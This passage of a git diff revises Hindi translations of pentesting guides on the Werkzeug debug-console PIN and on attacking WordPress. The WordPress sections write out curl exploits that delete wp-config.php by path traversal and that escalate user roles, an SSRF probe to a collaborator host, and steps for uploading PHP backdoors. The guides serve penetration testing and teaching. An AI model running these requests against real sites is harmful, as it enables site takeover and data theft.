56:00:02:7a:23:ac +# Example MAC address: 56:00:02:7a:23:ac >>> print(0x5600027a23ac) 94558041547692 ``` -- **`get_machine_id()`**: `/etc/machine-id` या `/proc/sys/kernel/random/boot_id` से डेटा को `/proc/self/cgroup` की पहली पंक्ति के साथ अंतिम स्लैश (`/`) के बाद जोड़ता है। +- **`get_machine_id()`**: `/etc/machine-id` या `/proc/sys/kernel/random/boot_id` से डेटा को जोड़ता है और `/proc/self/cgroup` की पहली पंक्ति को अंतिम स्लैश (`/`) के बाद जोड़ता है।
@@ -140,24 +140,25 @@ rv = num print(rv) ``` -यह स्क्रिप्ट जुड़े हुए बिट्स को हैश करके, विशिष्ट साल्ट (`cookiesalt` और `pinsalt`) जोड़कर, और आउटपुट को फॉर्मेट करके PIN उत्पन्न करती है। यह ध्यान रखना महत्वपूर्ण है कि `probably_public_bits` और `private_bits` के वास्तविक मानों को लक्षित प्रणाली से सटीक रूप से प्राप्त करना आवश्यक है ताकि उत्पन्न PIN Werkzeug कंसोल द्वारा अपेक्षित PIN से मेल खाता हो। +यह स्क्रिप्ट संयोजित बिट्स को हैश करके, विशिष्ट साल्ट (`cookiesalt` और `pinsalt`) जोड़कर, और आउटपुट को फॉर्मेट करके PIN उत्पन्न करती है। यह ध्यान रखना महत्वपूर्ण है कि `probably_public_bits` और `private_bits` के वास्तविक मानों को लक्षित प्रणाली से सटीक रूप से प्राप्त करना चाहिए ताकि उत्पन्न PIN Werkzeug कंसोल द्वारा अपेक्षित PIN से मेल खाता हो। > [!TIP] -> यदि आप Werkzeug के **पुराने संस्करण** पर हैं, तो **hashing algorithm को md5** में बदलने का प्रयास करें बजाय sha1 के। +> यदि आप Werkzeug के **पुराने संस्करण** पर हैं, तो **hashing algorithm को md5** में बदलने का प्रयास करें, sha1 के बजाय। -## Werkzeug Unicode chars +## Werkzeug Unicode वर्ण -जैसा कि [**इस मुद्दे**](https://github.com/pallets/werkzeug/issues/2833) में देखा गया है, Werkzeug हेडर में Unicode वर्णों के साथ एक अनुरोध को बंद नहीं करता है। और जैसा कि [**इस लेखन**](https://mizu.re/post/twisty-python) में समझाया गया है, यह एक CL.0 Request Smuggling भेद्यता का कारण बन सकता है। +जैसा कि [**इस मुद्दे**](https://github.com/pallets/werkzeug/issues/2833) में देखा गया है, Werkzeug हेडर में Unicode वर्णों के साथ एक अनुरोध को बंद नहीं करता है। और जैसा कि [**इस लेख**](https://mizu.re/post/twisty-python) में समझाया गया है, इससे CL.0 Request Smuggling भेद्यता हो सकती है। -यह इसलिए है, क्योंकि Werkzeug में कुछ **Unicode** वर्ण भेजना संभव है और यह सर्वर को **टूट** देगा। हालाँकि, यदि HTTP कनेक्शन को **`Connection: keep-alive`** हेडर के साथ बनाया गया था, तो अनुरोध का शरीर नहीं पढ़ा जाएगा और कनेक्शन अभी भी खुला रहेगा, इसलिए अनुरोध का **शरीर** **अगले HTTP अनुरोध** के रूप में माना जाएगा। +यह इसलिए है क्योंकि, Werkzeug में कुछ **Unicode** वर्ण भेजना संभव है और यह सर्वर को **तोड़** देगा। हालाँकि, यदि HTTP कनेक्शन को **`Connection: keep-alive`** हेडर के साथ बनाया गया था, तो अनुरोध का शरीर नहीं पढ़ा जाएगा और कनेक्शन अभी भी खुला रहेगा, इसलिए अनुरोध का **शरीर** **अगले HTTP अनुरोध** के रूप में माना जाएगा। + +## स्वचालित शोषण -## Automated Exploitation {{#ref}} https://github.com/Ruulian/wconsole_extractor {{#endref}} -## References +## संदर्भ - [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/) - [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955) diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index ae2fc05fe..65a8b2c83 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -5,9 +5,9 @@ ## Basic Information - **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Themes files can be found in /wp-content/themes/,** इसलिए यदि आप RCE प्राप्त करने के लिए थीम के कुछ php को बदलते हैं, तो आप शायद उस पथ का उपयोग करेंगे। उदाहरण के लिए: **थीम twentytwelve** का उपयोग करते हुए आप **404.php** फ़ाइल तक **पहुँच** सकते हैं: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Themes files can be found in /wp-content/themes/,** इसलिए यदि आप RCE प्राप्त करने के लिए थीम के कुछ php को बदलते हैं, तो आप शायद उस पथ का उपयोग करेंगे। उदाहरण के लिए: **theme twentytwelve** का उपयोग करते हुए आप **404.php** फ़ाइल तक **पहुँच** सकते हैं: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- **एक और उपयोगी यूआरएल हो सकता है:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **एक और उपयोगी url हो सकता है:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **wp-config.php** में आप डेटाबेस का रूट पासवर्ड पा सकते हैं। - जांचने के लिए डिफ़ॉल्ट लॉगिन पथ: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ @@ -24,13 +24,13 @@ - `/wp-login.php` - `xmlrpc.php` एक फ़ाइल है जो WordPress की एक विशेषता का प्रतिनिधित्व करती है जो डेटा को HTTP के माध्यम से संचारित करने की अनुमति देती है, जो परिवहन तंत्र के रूप में कार्य करती है और XML को एन्कोडिंग तंत्र के रूप में। इस प्रकार की संचार को WordPress [REST API](https://developer.wordpress.org/rest-api/reference) द्वारा प्रतिस्थापित किया गया है। - `wp-content` फ़ोल्डर मुख्य निर्देशिका है जहाँ प्लगइन्स और थीम संग्रहीत होते हैं। -- `wp-content/uploads/` वह निर्देशिका है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई कोई भी फ़ाइलें संग्रहीत होती हैं। +- `wp-content/uploads/` वह निर्देशिका है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई कोई भी फ़ाइल संग्रहीत होती है। - `wp-includes/` यह वह निर्देशिका है जहाँ कोर फ़ाइलें संग्रहीत होती हैं, जैसे कि प्रमाणपत्र, फ़ॉन्ट, जावास्क्रिप्ट फ़ाइलें, और विजेट। - `wp-sitemap.xml` WordPress संस्करण 5.5 और उससे अधिक में, WordPress सभी सार्वजनिक पोस्ट और सार्वजनिक रूप से क्वेरी करने योग्य पोस्ट प्रकारों और वर्गीकरणों के साथ एक साइटमैप XML फ़ाइल उत्पन्न करता है। **Post exploitation** -- `wp-config.php` फ़ाइल में WordPress को डेटाबेस से कनेक्ट करने के लिए आवश्यक जानकारी होती है जैसे कि डेटाबेस का नाम, डेटाबेस होस्ट, उपयोगकर्ता नाम और पासवर्ड, प्रमाणीकरण कुंजी और नमक, और डेटाबेस तालिका उपसर्ग। इस कॉन्फ़िगरेशन फ़ाइल का उपयोग DEBUG मोड को सक्रिय करने के लिए भी किया जा सकता है, जो समस्या निवारण में सहायक हो सकता है। +- `wp-config.php` फ़ाइल में वह जानकारी होती है जो WordPress को डेटाबेस से कनेक्ट करने के लिए आवश्यक होती है जैसे कि डेटाबेस का नाम, डेटाबेस होस्ट, उपयोगकर्ता नाम और पासवर्ड, प्रमाणीकरण कुंजी और नमक, और डेटाबेस तालिका उपसर्ग। इस कॉन्फ़िगरेशन फ़ाइल का उपयोग DEBUG मोड को सक्रिय करने के लिए भी किया जा सकता है, जो समस्या निवारण में सहायक हो सकता है। ### Users Permissions @@ -107,7 +107,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ### XML-RPC -यदि `xml-rpc.php` सक्रिय है तो आप क्रेडेंशियल्स ब्रूट-फोर्स कर सकते हैं या इसका उपयोग अन्य संसाधनों पर DoS हमले शुरू करने के लिए कर सकते हैं। (आप इस प्रक्रिया को स्वचालित कर सकते हैं[ इसका उपयोग करके](https://github.com/relarizky/wpxploit) उदाहरण के लिए)। +यदि `xml-rpc.php` सक्रिय है, तो आप क्रेडेंशियल्स ब्रूट-फोर्स कर सकते हैं या इसका उपयोग अन्य संसाधनों पर DoS हमले शुरू करने के लिए कर सकते हैं। (आप इस प्रक्रिया को स्वचालित कर सकते हैं[ इसका उपयोग करके](https://github.com/relarizky/wpxploit) उदाहरण के लिए)। यह देखने के लिए कि क्या यह सक्रिय है, _**/xmlrpc.php**_ तक पहुँचने का प्रयास करें और यह अनुरोध भेजें: @@ -132,13 +132,13 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -संदेश _"Incorrect username or password"_ एक 200 कोड प्रतिक्रिया के अंदर तब दिखाई देना चाहिए जब क्रेडेंशियल मान्य नहीं होते। +संदेश _"Incorrect username or password"_ एक 200 कोड प्रतिक्रिया के अंदर तब दिखाई देना चाहिए जब क्रेडेंशियल्स मान्य नहीं होते। ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) -सही क्रेडेंशियल का उपयोग करके आप एक फ़ाइल अपलोड कर सकते हैं। प्रतिक्रिया में पथ दिखाई देगा ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) +सही क्रेडेंशियल्स का उपयोग करके आप एक फ़ाइल अपलोड कर सकते हैं। प्रतिक्रिया में पथ दिखाई देगा ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```html @@ -174,7 +174,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL **2FA बायपास करें** -यह विधि कार्यक्रमों के लिए है और मनुष्यों के लिए नहीं, और पुरानी है, इसलिए यह 2FA का समर्थन नहीं करती है। इसलिए, यदि आपके पास मान्य क्रेड्स हैं लेकिन मुख्य प्रवेश 2FA द्वारा सुरक्षित है, तो **आप xmlrpc.php का दुरुपयोग करके उन क्रेड्स के साथ 2FA को बायपास करके लॉगिन करने में सक्षम हो सकते हैं**। ध्यान दें कि आप कंसोल के माध्यम से किए जा सकने वाले सभी कार्यों को करने में सक्षम नहीं होंगे, लेकिन आप अभी भी RCE तक पहुँचने में सक्षम हो सकते हैं जैसा कि Ippsec इसे [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) में समझाता है। +यह विधि कार्यक्रमों के लिए है और मनुष्यों के लिए नहीं, और पुरानी है, इसलिए यह 2FA का समर्थन नहीं करती है। इसलिए, यदि आपके पास मान्य क्रेड्स हैं लेकिन मुख्य प्रवेश 2FA द्वारा सुरक्षित है, तो **आप xmlrpc.php का दुरुपयोग करके उन क्रेड्स के साथ 2FA को बायपास करके लॉगिन करने में सक्षम हो सकते हैं**। ध्यान दें कि आप कंसोल के माध्यम से किए जा सकने वाले सभी कार्यों को नहीं कर पाएंगे, लेकिन आप अभी भी RCE तक पहुँचने में सक्षम हो सकते हैं, जैसा कि Ippsec ने [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) में समझाया है। **DDoS या पोर्ट स्कैनिंग** @@ -217,7 +217,7 @@ Wp-Cron को अक्षम करना और होस्ट के अं ### /wp-json/oembed/1.0/proxy - SSRF -_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ पर पहुँचने की कोशिश करें और Worpress साइट आपसे अनुरोध कर सकती है। +_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ तक पहुँचने की कोशिश करें और Worpress साइट आपसे अनुरोध कर सकती है। जब यह काम नहीं करता है तो यह प्रतिक्रिया है: @@ -225,11 +225,12 @@ _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt1 ## SSRF + {{#ref}} https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -यह उपकरण जांचता है कि **methodName: pingback.ping** और पथ **/wp-json/oembed/1.0/proxy** मौजूद है या नहीं, और यदि यह मौजूद है, तो यह उन्हें शोषण करने की कोशिश करता है। +यह उपकरण जांचता है कि **methodName: pingback.ping** और पथ **/wp-json/oembed/1.0/proxy** है या नहीं और यदि यह मौजूद है, तो यह उन्हें शोषण करने की कोशिश करता है। ## Automatic Tools ```bash @@ -239,14 +240,14 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## Get access by overwriting a bit -यह एक वास्तविक हमले से अधिक एक जिज्ञासा है। IN the CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) आप किसी भी wordpress फ़ाइल से 1 बिट को पलट सकते हैं। इसलिए आप फ़ाइल `/var/www/html/wp-includes/user.php` के स्थिति `5389` को NOP NOT (`!`) ऑपरेशन के लिए पलट सकते हैं। +यह एक वास्तविक हमले से अधिक एक जिज्ञासा है। CTF में [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) आप किसी भी वर्डप्रेस फ़ाइल से 1 बिट को पलट सकते थे। इसलिए आप फ़ाइल `/var/www/html/wp-includes/user.php` के स्थिति `5389` को NOP NOT (`!`) ऑपरेशन के लिए पलट सकते थे। ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **पैनल RCE** -**थीम से एक php को संशोधित करना (प्रशासनिक क्रेडेंशियल्स की आवश्यकता)** +**थीम से एक php को संशोधित करना (प्रशासनिक क्रेडेंशियल्स की आवश्यकता है)** दृश्य → थीम संपादक → 404 टेम्पलेट (दाईं ओर) @@ -268,7 +269,7 @@ to get a session. ### PHP plugin -यह संभव है कि .php फ़ाइलों को एक प्लगइन के रूप में अपलोड किया जा सके।\ +यह संभव है कि आप .php फ़ाइलों को एक प्लगइन के रूप में अपलोड कर सकें।\ उदाहरण के लिए, अपने php बैकडोर को बनाएं: ![](<../../images/image (183).png>) @@ -281,7 +282,7 @@ to get a session. ![](<../../images/image (249).png>) -Proceed पर क्लिक करें: +Procced पर क्लिक करें: ![](<../../images/image (70).png>) @@ -295,25 +296,25 @@ Proceed पर क्लिक करें: ### Uploading and activating malicious plugin -यह विधि एक दुर्भावनापूर्ण प्लगइन के इंस्टॉलेशन से संबंधित है जिसे कमजोर माना जाता है और जिसका उपयोग वेब शेल प्राप्त करने के लिए किया जा सकता है। यह प्रक्रिया WordPress डैशबोर्ड के माध्यम से इस प्रकार की जाती है: +यह विधि एक दुर्बलता के लिए ज्ञात एक दुर्भावनापूर्ण प्लगइन की स्थापना से संबंधित है और इसका उपयोग वेब शेल प्राप्त करने के लिए किया जा सकता है। यह प्रक्रिया WordPress डैशबोर्ड के माध्यम से इस प्रकार की जाती है: -1. **Plugin Acquisition**: प्लगइन को Exploit DB जैसे स्रोत से प्राप्त किया जाता है जैसे [**यहां**](https://www.exploit-db.com/exploits/36374). +1. **Plugin Acquisition**: प्लगइन को Exploit DB जैसे स्रोत से प्राप्त किया जाता है जैसे [**यहाँ**](https://www.exploit-db.com/exploits/36374). 2. **Plugin Installation**: - WordPress डैशबोर्ड पर जाएं, फिर `Dashboard > Plugins > Upload Plugin` पर जाएं। - डाउनलोड किए गए प्लगइन की ज़िप फ़ाइल अपलोड करें। 3. **Plugin Activation**: एक बार प्लगइन सफलतापूर्वक स्थापित हो जाने के बाद, इसे डैशबोर्ड के माध्यम से सक्रिय करना होगा। 4. **Exploitation**: -- "reflex-gallery" प्लगइन स्थापित और सक्रिय होने पर, इसका शोषण किया जा सकता है क्योंकि यह कमजोर माना जाता है। -- Metasploit ढांचा इस कमजोरी के लिए एक शोषण प्रदान करता है। उपयुक्त मॉड्यूल को लोड करके और विशिष्ट कमांड निष्पादित करके, एक मीटरप्रीटर सत्र स्थापित किया जा सकता है, जो साइट पर अनधिकृत पहुंच प्रदान करता है। +- "reflex-gallery" प्लगइन स्थापित और सक्रिय होने पर, इसका शोषण किया जा सकता है क्योंकि यह ज्ञात है कि यह दुर्बल है। +- Metasploit ढांचा इस दुर्बलता के लिए एक शोषण प्रदान करता है। उपयुक्त मॉड्यूल को लोड करके और विशिष्ट कमांड निष्पादित करके, एक मीटरप्रीटर सत्र स्थापित किया जा सकता है, जो साइट पर अनधिकृत पहुंच प्रदान करता है। - यह नोट किया गया है कि यह WordPress साइट का शोषण करने के लिए कई तरीकों में से एक है। -सामग्री में प्लगइन को स्थापित और सक्रिय करने के लिए WordPress डैशबोर्ड में चरणों को दर्शाने वाले दृश्य सहायता शामिल हैं। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि इस तरीके से कमजोरियों का शोषण करना बिना उचित प्राधिकरण के अवैध और अनैतिक है। इस जानकारी का उपयोग जिम्मेदारी से और केवल कानूनी संदर्भ में किया जाना चाहिए, जैसे कि स्पष्ट अनुमति के साथ पेनटेस्टिंग। +सामग्री में प्लगइन को स्थापित और सक्रिय करने के लिए WordPress डैशबोर्ड में चरणों को दर्शाने वाले दृश्य सहायता शामिल हैं। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि इस तरीके से दुर्बलताओं का शोषण करना बिना उचित प्राधिकरण के अवैध और अनैतिक है। इस जानकारी का उपयोग जिम्मेदारी से और केवल कानूनी संदर्भ में किया जाना चाहिए, जैसे कि स्पष्ट अनुमति के साथ पेनटेस्टिंग। **अधिक विस्तृत चरणों के लिए देखें:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## From XSS to RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ एक स्क्रिप्ट है जिसे **Cross-Site Scripting (XSS)** कमजोरी को **Remote Code Execution (RCE)** या अन्य महत्वपूर्ण कमजोरियों में बढ़ाने के लिए डिज़ाइन किया गया है। अधिक जानकारी के लिए [**इस पोस्ट**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) की जांच करें। यह **Wordpress Versions 6.X.X, 5.X.X और 4.X.X के लिए समर्थन प्रदान करता है और अनुमति देता है:** +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ एक स्क्रिप्ट है जिसे **Cross-Site Scripting (XSS)** दुर्बलता को **Remote Code Execution (RCE)** या अन्य महत्वपूर्ण दुर्बलताओं में बढ़ाने के लिए डिज़ाइन किया गया है। अधिक जानकारी के लिए [**इस पोस्ट**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) की जांच करें। यह **Wordpress Versions 6.X.X, 5.X.X और 4.X.X के लिए समर्थन प्रदान करता है और अनुमति देता है:** - _**Privilege Escalation:**_ WordPress में एक उपयोगकर्ता बनाता है। - _**(RCE) Custom Plugin (backdoor) Upload:**_ अपने कस्टम प्लगइन (बैकडोर) को WordPress में अपलोड करें। - _**(RCE) Built-In Plugin Edit:**_ WordPress में एक अंतर्निहित प्लगइन को संपादित करें। @@ -334,11 +335,11 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ### Attack Surface -एक Wordpress प्लगइन कैसे कार्यक्षमता को उजागर कर सकता है, यह जानना इसकी कार्यक्षमता में कमजोरियों को खोजने के लिए कुंजी है। आप निम्नलिखित बुलेट पॉइंट्स में देख सकते हैं कि एक प्लगइन कैसे कार्यक्षमता को उजागर कर सकता है और [**इस ब्लॉग पोस्ट**](https://nowotarski.info/wordpress-nonce-authorization/) में कुछ कमजोर प्लगइन्स के उदाहरण। +एक Wordpress प्लगइन कैसे कार्यक्षमता को उजागर कर सकता है, यह जानना इसकी कार्यक्षमता में कमजोरियों को खोजने के लिए कुंजी है। आप निम्नलिखित बुलेट पॉइंट्स में देख सकते हैं कि एक प्लगइन कैसे कार्यक्षमता को उजागर कर सकता है और [**इस ब्लॉग पोस्ट**](https://nowotarski.info/wordpress-nonce-authorization/) में कुछ कमजोर प्लगइनों के उदाहरण। - **`wp_ajax`** -एक प्लगइन उपयोगकर्ताओं के लिए कार्यों को उजागर करने के तरीकों में से एक AJAX हैंडलर्स के माध्यम से है। इनमें लॉजिक, प्राधिकरण, या प्रमाणीकरण बग हो सकते हैं। इसके अलावा, यह अक्सर होता है कि ये कार्य प्रमाणीकरण और प्राधिकरण दोनों को एक Wordpress nonce के अस्तित्व पर आधारित करते हैं जिसे **किसी भी उपयोगकर्ता ने Wordpress उदाहरण में प्रमाणित किया हो सकता है** (इसके भूमिका के स्वतंत्र)। +एक प्लगइन उपयोगकर्ताओं के लिए कार्यों को उजागर करने के तरीकों में से एक AJAX हैंडलर्स के माध्यम से है। इनमें लॉजिक, प्राधिकरण, या प्रमाणीकरण बग हो सकते हैं। इसके अलावा, यह अक्सर होता है कि ये कार्य प्रमाणीकरण और प्राधिकरण दोनों को एक Wordpress nonce की उपस्थिति पर आधारित करते हैं जिसे **किसी भी उपयोगकर्ता ने Wordpress उदाहरण में प्रमाणित किया हो सकता है** (इसके भूमिका के स्वतंत्र)। ये वे कार्य हैं जो एक प्लगइन में एक कार्य को उजागर करने के लिए उपयोग किए जा सकते हैं: ```php @@ -352,7 +353,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); - **REST API** -यह `register_rest_route` फ़ंक्शन का उपयोग करके वर्डप्रेस से फ़ंक्शन को उजागर करना भी संभव है: +यह `register_rest_route` फ़ंक्शन का उपयोग करके वर्डप्रेस से फ़ंक्शंस को उजागर करना भी संभव है: ```php register_rest_route( $this->namespace, '/get/', array( @@ -370,12 +371,12 @@ $this->namespace, '/get/', array( बेशक, Wordpress PHP का उपयोग करता है और प्लगइन्स के अंदर फ़ाइलें सीधे वेब से सुलभ होती हैं। इसलिए, यदि कोई प्लगइन किसी कमजोर कार्यक्षमता को उजागर कर रहा है जो फ़ाइल को एक्सेस करने पर सक्रिय होती है, तो इसे किसी भी उपयोगकर्ता द्वारा शोषित किया जा सकता है। -### wp_ajax_nopriv के माध्यम से अनधिकृत मनमाना फ़ाइल हटाना (Litho थीम <= 3.0) +### wp_ajax_nopriv के माध्यम से अनधिकृत मनमाना फ़ाइल हटाना (Litho Theme <= 3.0) WordPress थीम और प्लगइन्स अक्सर `wp_ajax_` और `wp_ajax_nopriv_` हुक के माध्यम से AJAX हैंडलर को उजागर करते हैं। जब **_nopriv_** संस्करण का उपयोग किया जाता है **तो कॉलबैक अनधिकृत आगंतुकों द्वारा पहुँच योग्य हो जाता है**, इसलिए किसी भी संवेदनशील क्रिया को अतिरिक्त रूप से लागू करना चाहिए: 1. एक **क्षमता जांच** (जैसे `current_user_can()` या कम से कम `is_user_logged_in()`), और -2. एक **CSRF nonce** जो `check_ajax_referer()` / `wp_verify_nonce()` के साथ मान्य किया गया हो, और +2. एक **CSRF nonce** जिसे `check_ajax_referer()` / `wp_verify_nonce()` के साथ मान्य किया गया हो, और 3. **कठोर इनपुट सफाई / मान्यता**। Litho बहुउद्देशीय थीम (< 3.1) ने *Remove Font Family* फीचर में उन 3 नियंत्रणों को भूल गया और अंततः निम्नलिखित कोड (सरल) भेजा: @@ -397,11 +398,11 @@ die(); add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); ``` -इस स्निपेट द्वारा पेश की गई समस्याएँ: +इस स्निपेट द्वारा उत्पन्न समस्याएँ: * **अप्रमाणित पहुँच** – `wp_ajax_nopriv_` हुक पंजीकृत है। * **कोई नॉनस / क्षमता जांच नहीं** – कोई भी आगंतुक एंडपॉइंट को हिट कर सकता है। -* **कोई पथ सफाई नहीं** – उपयोगकर्ता-नियंत्रित `fontfamily` स्ट्रिंग को फ़िल्टर किए बिना फ़ाइल सिस्टम पथ में जोड़ा गया है, जिससे क्लासिक `../../` ट्रैवर्सल की अनुमति मिलती है। +* **कोई पथ स्वच्छता नहीं** – उपयोगकर्ता-नियंत्रित `fontfamily` स्ट्रिंग को फ़िल्टरिंग के बिना फ़ाइल सिस्टम पथ में जोड़ा गया है, जिससे क्लासिक `../../` ट्रैवर्सल की अनुमति मिलती है। #### शोषण @@ -411,7 +412,7 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ -d 'fontfamily=../../../../wp-config.php' ``` -क्योंकि `wp-config.php` *uploads* के बाहर रहता है, एक डिफ़ॉल्ट इंस्टॉलेशन पर चार `../` अनुक्रम पर्याप्त हैं। `wp-config.php` को हटाने से अगले दौरे पर WordPress को *installation wizard* में मजबूर किया जाता है, जिससे पूरी साइट पर कब्जा करना संभव होता है (हमलावर केवल एक नया DB कॉन्फ़िगरेशन प्रदान करता है और एक व्यवस्थापक उपयोगकर्ता बनाता है)। +क्योंकि `wp-config.php` *uploads* के बाहर रहता है, एक डिफ़ॉल्ट इंस्टॉलेशन पर चार `../` अनुक्रम पर्याप्त हैं। `wp-config.php` को हटाने से अगले दौरे पर WordPress *installation wizard* में चला जाता है, जिससे पूरी साइट पर कब्जा करना संभव हो जाता है (हमलावर केवल एक नया DB कॉन्फ़िगरेशन प्रदान करता है और एक व्यवस्थापक उपयोगकर्ता बनाता है)। अन्य प्रभावशाली लक्ष्य में प्लगइन/थीम के `.php` फ़ाइलें (सुरक्षा प्लगइनों को तोड़ने के लिए) या `.htaccess` नियम शामिल हैं। @@ -442,11 +443,11 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_ ``` > [!TIP] > **हमेशा** डिस्क पर किसी भी लिखने/हटाने के ऑपरेशन को विशेषाधिकार प्राप्त के रूप में मानें और दोबारा जांचें: -> • प्रमाणीकरण • अधिकृत करना • नॉनस • इनपुट सफाई • पथ सीमांकन (जैसे `realpath()` और `str_starts_with()` के माध्यम से)। +> • प्रमाणीकरण • प्राधिकरण • नॉनस • इनपुट सफाई • पथ सीमांकन (जैसे `realpath()` और `str_starts_with()` के माध्यम से)। --- -### पुरानी भूमिका पुनर्स्थापना और अनुपस्थित अधिकृत करने के माध्यम से विशेषाधिकार वृद्धि (ASE "View Admin as Role") +### पुरानी भूमिका पुनर्स्थापना और अनुपस्थित प्राधिकरण के माध्यम से विशेषाधिकार वृद्धि (ASE "View Admin as Role") कई प्लगइन्स "भूमिका के रूप में देखें" या अस्थायी भूमिका-स्विचिंग फीचर को लागू करते हैं, जो उपयोगकर्ता मेटा में मूल भूमिका(ओं) को सहेजते हैं ताकि उन्हें बाद में पुनर्स्थापित किया जा सके। यदि पुनर्स्थापना पथ केवल अनुरोध पैरामीटर (जैसे, `$_REQUEST['reset-for']`) और एक प्लगइन-निर्धारित सूची पर निर्भर करता है बिना क्षमताओं और एक मान्य नॉनस की जांच किए, तो यह एक ऊर्ध्वाधर विशेषाधिकार वृद्धि बन जाती है। @@ -467,14 +468,14 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } ``` क्यों यह शोषणीय है -- सर्वर-साइड प्राधिकरण के बिना `$_REQUEST['reset-for']` और एक प्लगइन विकल्प पर भरोसा करता है। +- `$_REQUEST['reset-for']` और एक प्लगइन विकल्प पर सर्वर-साइड प्राधिकरण के बिना भरोसा करता है। - यदि किसी उपयोगकर्ता के पास पहले `_asenha_view_admin_as_original_roles` में उच्च विशेषाधिकार सुरक्षित थे और उन्हें डाउनग्रेड किया गया, तो वे रीसेट पथ पर जाकर उन्हें पुनर्स्थापित कर सकते हैं। - कुछ तैनातियों में, कोई भी प्रमाणित उपयोगकर्ता `viewing_admin_as_role_are` में अभी भी मौजूद किसी अन्य उपयोगकर्ता नाम के लिए रीसेट को ट्रिगर कर सकता है (टूटी हुई प्राधिकरण)। हमले की पूर्वापेक्षाएँ - कमजोर प्लगइन संस्करण जिसमें यह सुविधा सक्षम है। -- लक्षित खाते में पहले के उपयोग से उपयोगकर्ता मेटा में एक पुरानी उच्च-विशेषाधिकार भूमिका संग्रहीत है। +- लक्षित खाते में पहले के उपयोग से उपयोगकर्ता मेटा में एक पुराना उच्च-विशेषाधिकार भूमिका संग्रहीत है। - कोई भी प्रमाणित सत्र; रीसेट प्रवाह पर नॉनस/क्षमता गायब है। शोषण (उदाहरण) @@ -485,7 +486,7 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` -कमजोर बिल्ड पर, यह वर्तमान भूमिकाओं को हटा देता है और सहेजी गई मूल भूमिकाओं (जैसे, `administrator`) को फिर से जोड़ता है, प्रभावी रूप से विशेषाधिकार बढ़ाता है। +कमजोर निर्माणों पर, यह वर्तमान भूमिकाओं को हटा देता है और सहेजी गई मूल भूमिकाओं (जैसे, `administrator`) को फिर से जोड़ता है, प्रभावी रूप से विशेषाधिकार बढ़ाता है। पता लगाने की चेकलिस्ट @@ -552,11 +553,11 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM " 1. **असंसाधित उपयोगकर्ता इनपुट** – `parentid` सीधे HTTP अनुरोध से आता है। 2. **WHERE क्लॉज के अंदर स्ट्रिंग संयोजन** – कोई `is_numeric()` / `esc_sql()` / तैयार बयान नहीं है। -3. **अप्रमाणित पहुंच** – हालांकि क्रिया `admin-post.php` के माध्यम से निष्पादित होती है, लेकिन 